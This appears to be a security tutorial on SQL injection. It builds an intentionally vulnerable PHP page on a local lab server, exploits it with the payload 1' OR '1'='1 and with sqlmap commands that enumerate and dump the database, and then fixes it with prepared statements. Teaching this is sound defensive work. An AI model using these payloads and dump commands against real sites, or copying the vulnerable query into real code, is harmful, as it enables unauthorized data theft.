Learn about SQL Injection Attack with Example

What Is SQL Injection?

People say they know what SQL injection is, but all they have heard about or experienced are trivial examples. SQL injection is one of the most devastating vulnerabilities that impact a business, as it can lead to exposure of all of the sensitive information stored in an application’s database, including handy information such as usernames, passwords, names, addresses, phone numbers, and credit card details.

So, what exactly is SQL injection? It is the vulnerability that results when you give an attacker the ability to influence the Structured Query Language (SQL) queries that an application passes to a back-end database. You can also consider it as a software weakness that treats data in a structured format using tables. It can allow malicious users to execute arbitrary commands, thus interacting with the database of an application in a way that is not originally intended by the application SQL injection can be used by attackers in many ways:

SQL injection is not a vulnerability that exclusively affects Web applications; any code that accepts input from an untrusted source and then uses that input to form dynamic SQL statements could be vulnerable

 

Understanding different types of SQL Injection

SQL Injections can be classified into three main types based on how data is retrieved or the method of attack:

 

1. In-band SQLi (Classic SQLi)

• Error-based SQLi: This technique involves performing actions that cause the database to produce error messages. These messages can reveal significant information about the database structure.
• Union-based SQLi: This involves using the SQL UNION operator to combine the results of two or more SELECT statements into a single result which is returned as part of the HTTP response.

 

2. Inferential SQLi (Blind SQLi)

• Boolean-based blind SQLi: This occurs when the attacker sends a SQL query to the database which forces the application to return a different result depending on whether the query returns a TRUE or FALSE result. Depending on the result, the content within the HTTP response will change or remain the same, which the attacker can use to infer the structure of the database.
• Time-based blind SQLi: This involves modifying the SQL query to force the database to wait for a specified amount of time before responding. The time delay will indicate to the attacker whether the result of the query is TRUE or FALSE, based on whether the response is delayed.

 

3. Out-of-band SQL injection

With this type of injection, the attacker retrieves data using a different channel. For example, an email, a text, or an instant message could be sent to the attacker with the results of the query; or the attacker might be able to send the compromised data to another system.

The out-of-band exploitation technique is very useful when you are exploiting a blind SQL injection vulnerability. You can use database management system (DBMS) functions to execute an out-of-band connection to obtain the results of the blind SQL injection attack.

Below image shows how an attacker could exploit a blind SQL injection vulnerability in store.h4cker.org. Then the attacker forces the victim server to send the results of the query (compromised data) to another server (malicious.h4cker.org).

 

 

How SQL Injection Works

Assuming there's an attacker, and there's a website as we have shown in the image. Now, the goal of attacker here is to attack on the website and get sensitive data from the database of this website.

So the first step is attacker will insert some malicious or harmful SQL queries inside the website. If website is vulnerable, i.e website has injection vulnerability, so attacker will grab all data from the website. Now, website has a database, and database contains all the sensitive details. For example, customer details, credit card details, et cetera. Attacker will also extract that data. So with the help of these malicious SQL queries, attacker will attack on the website and will try to extract data from the database. And if attack is successful, then all the sensitive data will be extracted by attacker. So this is overall process of SQL injection attack.

 

Demonstration of SQL Injection Attack

Enough chit chat, let's get down to business. Here we will create our own vulnerable web application. I have already covered another article with the steps to perform SQL Injection Attack on DVWA so in this article I thought to setup our own MySQL Server so that I can demonstrate the attack as well as mitigation steps. Now you have to understand that it is not possible to cover all kinds of vulnerabilities which can be exploited with injection attack but we will just create a sample code where we can exploit certain SQL Query.

 

Setup Environment

So, for this we will need a web server where we will host our MySQL server. We will be using our Kali Linux setup which we installed for the demonstration for the entire course.

Let's install MySQL:

sudo apt update
sudo apt install default-mysql-server

Secure MySQL Installation:

sudo mysql_secure_installation

Log into MySQL:

sudo mysql -u root -p

Create a Database and User:

CREATE DATABASE demo_db;
CREATE USER 'demo_user'@'localhost' IDENTIFIED BY 'password';
GRANT ALL PRIVILEGES ON demo_db.* TO 'demo_user'@'localhost';
FLUSH PRIVILEGES;
EXIT;

Next let's setup our web server. Install Apache and PHP:

sudo apt install apache2 php libapache2-mod-php php-mysql

Navigate to the web root (/var/www/html) and create a new PHP file:

cd /var/www/html
sudo nano vulnerable.php

Add the following PHP code, which is intentionally vulnerable to SQL Injection:

<?php
$conn = new mysqli("localhost", "demo_user", "password", "demo_db");
if ($conn->connect_error) {
    die("Connection failed: " . $conn->connect_error);
}

if (isset($_GET['user_id'])) {
    $user_id = $_GET['user_id'];
    $result = $conn->query("SELECT * FROM users WHERE id = '$user_id'");

    while ($row = $result->fetch_assoc()) {
        echo "id: " . $row["id"]. " - Name: " . $row["name"]. "<br>";
    }
}
$conn->close();
?>

The code directly places $_GET['user_id'] into the SQL query without any sanitization or validation. This practice exposes the application to SQL Injection because it trusts user input blindly. An attacker could exploit this by entering a payload like 1' OR '1'='1, which would alter the SQL command to return all users from the database, not just one.

Now re-connect to MySQL:

sudo mysql -u demo_user -p demo_db

Create a table and insert some sample data:

CREATE TABLE users (id INT AUTO_INCREMENT PRIMARY KEY, name VARCHAR(255) NOT NULL);
INSERT INTO users (name) VALUES ('Alice'), ('Bob'), ('Charlie');
EXIT;

Start the apache2 service and verify the status:

sudo systemctl enable apache2 --now
sudo systemctl status apache2

 

Performing SQL Injection Attack

Open a browser and navigate to http://127.0.0.1/vulnerable.php?user_id=1 to see normal behavior.

This parameter will execute a database query that the script uses to fetch and display information about the user with ID 1.

Try the SQL Injection by accessing http://127.0.0.1/vulnerable.php?user_id=1' OR '1'='1. This should display all users.

This URL includes a malicious input that exploits the SQL Injection vulnerability. Here’s how it works:

• 1' OR '1'='1 - This string is crafted to manipulate the SQL query in the background script. Breaking it down:
  • 1' - This part closes the initial single quote that would have been used in the SQL query around the user input (assuming the query looks something like SELECT * FROM users WHERE user_id = '[user_input]').
  • OR '1'='1 - This is always true (1 equals 1). The OR operator in SQL means that if either the condition before it or after it is true, the overall condition will evaluate to true.
• The resulting SQL query becomes something like: SELECT * FROM users WHERE user_id = '1' OR '1'='1'. Since '1'='1' is always true, the query will return all entries in the users table instead of just the entry for user ID 1.

The outcome of accessing the second URL is that the web application, instead of showing information for just user ID 1, ends up displaying information for all users stored in the database. This happens because the injected SQL (OR '1'='1) modifies the intended behavior of the database query, leading to a security breach where more data than intended is exposed.

 

Using sqlmap Tool

sqlmap is another very good tool which can be used to test your custom localhost application for SQL Injection vulnerabilities. It can also be used to perform SQL Injection Attacks which we will come to later. But first of all let's use this tool to check the vulnerabilities on our application:

sqlmap -u "http://127.0.0.1/vulnerable.php?user_id=1" --risk=3 --level=5

• -u: Specifies the URL of the web application.
• --risk: Option accepts an integer value that defines the risk level (1-3). Higher levels perform more intrusive tests.
• --level: Option accepts an integer value that defines the level of tests (1-5). Higher levels perform more thorough tests.

sqlmap will provide output detailing what it has found. If there are vulnerabilities, it will specify what type of SQL Injection is possible, and depending on your sqlmap settings, it may even attempt to enumerate databases, tables, and data. For example, the above output indicates that our application is vulnerable to several types of SQL Injection attacks: boolean-based blind, time-based blind, and UNION query SQL Injection.

Now as I said earlier, we can also perform SQL Injection Attack using sqlmap tool so lets try to get the data from our database exploiting the vulnerability.

To fetch all the DBs:

sqlmap -u "http://127.0.0.1/vulnerable.php?user_id=1" --dbs

This command has given us the available DBs in our server, next list down tables inside the demo_db:

sqlmap -u "http://127.0.0.1/vulnerable.php?user_id=1" -D demo_db --tables

We have users table inside demo_db. Let's fetch the columns inside this table:

sqlmap -u "http://127.0.0.1/vulnerable.php?user_id=1" -D demo_db -T users --columns

We have name and id columns. Now we can dump all the data inside these columns:

sqlmap -u "http://127.0.0.1/vulnerable.php?user_id=1" -D demo_db -T users -C name --dump

As you can see using sqlmap we were successfully able to perform SQL Injection Attack and fetch all the data from our database.

 

Understanding SQL Injection Mitigations

Input validation is an important part of mitigating SQL injection attacks. The best mitigation for SQL injection vulnerabilities is to use immutable queries, such as the following:

• Static queries
• Parameterized queries
• Stored procedures (if they do not generate dynamic SQL)

OWASP has a great resource that explains the SQL mitigations in detail; see SQL Injection Prevention Cheat Sheet

We will update out vulnerable.php to use the below code instead of earlier one which I had shared:

<?php
if (isset($_GET['user_id'])) {
    $stmt = $conn->prepare("SELECT * FROM users WHERE id = ?");
    $stmt->bind_param("s", $_GET['user_id']);  // 's' indicates the parameter is a string
    $stmt->execute();
    $result = $stmt->get_result();

    while ($row = $result->fetch_assoc()) {
        echo "id: " . $row["id"]. " - Name: " . $row["name"]. "<br>";
    }
    $stmt->close();
}
$conn->close();
?>

The code uses a prepared statement with placeholders (?) for parameters. This approach separates the data (user input) from the code (SQL query), thus preventing the input from being treated as part of the SQL command. The bind_param() function securely binds the user input to the placeholder. It ensures that the input is treated strictly as data and not executable code, regardless of its content. This method also automatically handles escaping special characters, which can otherwise be used to modify the SQL command.

Now let's re-attempt the SQL Injection Attack. First we will re-execute the query on the browser using http://127.0.0.1/vulnerable.php?user_id=1' OR '1'='1.

This time the query returned single user unlike earlier where all user data was visible.

Let's also try using sqlmap using --fresh-queries otherwise it will show data from cache:

sqlmap -u "http://127.0.0.1/vulnerable.php?user_id=1" --dbs --fresh-queries

This time sqlmap failed to get any data from our database so it means our application is not vulnerable anymore.

There are multiple vulnerable applications such DVWA, vulnweb which you can use to test the SQL Injection Attack. These are other tools such as jSQL, SQLSUS, WebGoat which can be used for further analysing vulnerable applications.